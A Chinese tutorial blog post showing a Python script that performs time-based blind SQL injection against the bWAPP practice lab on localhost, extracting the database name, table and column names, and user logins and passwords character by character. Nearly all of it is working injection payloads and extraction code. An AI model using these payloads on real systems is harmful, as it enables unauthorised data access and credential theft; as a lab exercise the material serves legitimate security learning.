sql盲注python脚本学习 (基于bWAPP靶场)

全局部分

python 复制代码
# 数组转字符串
from shlex import join
# 请求
import requests
# 记时
import time

r = requests.session()

登录

python 复制代码
def login():
    login_url = 'http://127.0.0.1:1234/login.php'
    params = dict(
        login='bee',
        password='bug',
        security_level=0,
        form='submit'
    )

    res = r.post(login_url, params)
    print(res) # 返回的响应码

获取当前库名

python 复制代码
def get_db_name_length():
    len = 1
    while(1):
        sql_str = f"1' or if(length(database())={len},sleep(1),1) -- "
        url = f'http://127.0.0.1:1234/sqli_15.php?title={sql_str}&action=search'
        start = time.time()
        r.get(url)
        if (time.time()-start)>1: 
            return len
        len+=1

def get_db_name(max):
    db_name = [''] * max
    for len in range(1,max+1,1):
        ACI = 48
        while(ACI<128):
            sql_str = f"1' or if(ascii(substr(database(),{len},1))={ACI},sleep(1),1) -- "
            url = f'http://127.0.0.1:1234/sqli_15.php?title={sql_str}&action=search'
            start = time.time()
            r.get(url)
            if (time.time() - start) > 1:
                db_name[len-1]=chr(ACI)
                break
            ACI +=1
    return db_name

db_name = get_db_name(get_db_name_length())
print(join(db_name))
# 结果:b W A P P

获取全部表名

python 复制代码
def get_table_name_length():
    len = 1
    while(1):
        sql_str = f"1' or if(length((select group_concat(table_name) from information_schema.tables where table_schema='bWAPP'))={len},sleep(1),1) -- "
        url = f'http://127.0.0.1:1234/sqli_15.php?title={sql_str}&action=search'
        start = time.time()
        r.get(url)
        if (time.time()-start)>1:
            return len
        len+=1

def get_table_name(max):
    table_name = [''] * max
    for len in range(1,max+1,1):
        ACI = 48
        while(ACI<128):
            sql_str = f"1' or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='bWAPP'),{len},1))={ACI},sleep(1),1) -- "
            url = f'http://127.0.0.1:1234/sqli_15.php?title={sql_str}&action=search'
            start = time.time()
            r.get(url)
            if (time.time() - start) > 1:
                print(chr(ACI))
                table_name[len-1]=chr(ACI)
                break
            ACI +=1
    return table_name

table_name=get_table_name(get_table_name_length())
print(join(table_name))
# 结果:b l o g '' h e r o e s '' m o v i e s '' u s e r s '' v i s i t o r s

获取字段名

仅仅更改sql_str

python 复制代码
sql_str = f"1' or if(length((select group_concat(column_name) 
from information_schema.columns where table_schema='bWAPP' and table_name='users'))=
{len},sleep(1),1) -- "

sql_str = f"1' or if(ascii(substr((select group_concat(column_name) 
from information_schema.columns where table_schema='bWAPP' and table_name='users'),
{len},1))={ACI},sleep(1),1) -- "

获取用户信息

python 复制代码
def get_users_passwd():
    cou = 1
    while (1):
        sql_str = f"1' or if(length((select group_concat(concat(login,'-',password)) from bWAPP.users))={cou},sleep(0.1),1) -- "
        url = f'http://127.0.0.1:1234/sqli_15.php?title={sql_str}&action=search'
        start = time.time()
        r.get(url)
        if (time.time() - start) > 1:
            print(cou)
            break
        cou+=1

    user_str = ['']*cou
    for x in range(1,cou,1):
        ACI = 48
        while (ACI < 128):
            sql_str = f"1' or if(ascii(substr((select group_concat(concat(login,'-',password)) from bWAPP.users),{x},1))={ACI},sleep(0.1),1) -- "
            url = f'http://127.0.0.1:1234/sqli_15.php?title={sql_str}&action=search'
            start = time.time()
            r.get(url)
            if (time.time() - start) > 1:
                print(chr(ACI))
                user_str[x-1]=chr(ACI)
                break
            ACI+=1
    return join(user_str)
相关推荐
shizidushu1 分钟前
Hugging Face NLP课程学习记录 - 3. 微调一个预训练模型
人工智能·学习·自然语言处理·微调·huggingface
魂尾ac17 分钟前
Django + Vue3 前后端分离技术实现自动化测试平台从零到有系列 <第一章> 之 注册登录实现
后端·python·django·vue
Source.Liu26 分钟前
【Pywinauto库】10.7 pywinauto.controls.uia_controls控件
windows·python·自动化
人工干智能42 分钟前
建自己的Python项目仓库,使用工具:GitHub(远程仓库)、GitHub Desktop(版本控制工具)、VSCode(代码编辑器)
python·编辑器·github
StarPrayers.1 小时前
PySpark基础知识(python)
python·数据分析·spark
emma羊羊1 小时前
【SQL注入】延时盲注
数据库·sql·网络安全
潜龙95271 小时前
第6.2节 Android Agent开发<二>
android·python·覆盖率数据
I'm a winner2 小时前
第五章:Python 数据结构:列表、元组与字典(一)
开发语言·数据结构·python
程序员小羊!2 小时前
大数据电商流量分析项目实战:Spark SQL 基础(四)
大数据·sql·spark
番薯大佬2 小时前
Python学习-day9 字典Dictionary
网络·python·学习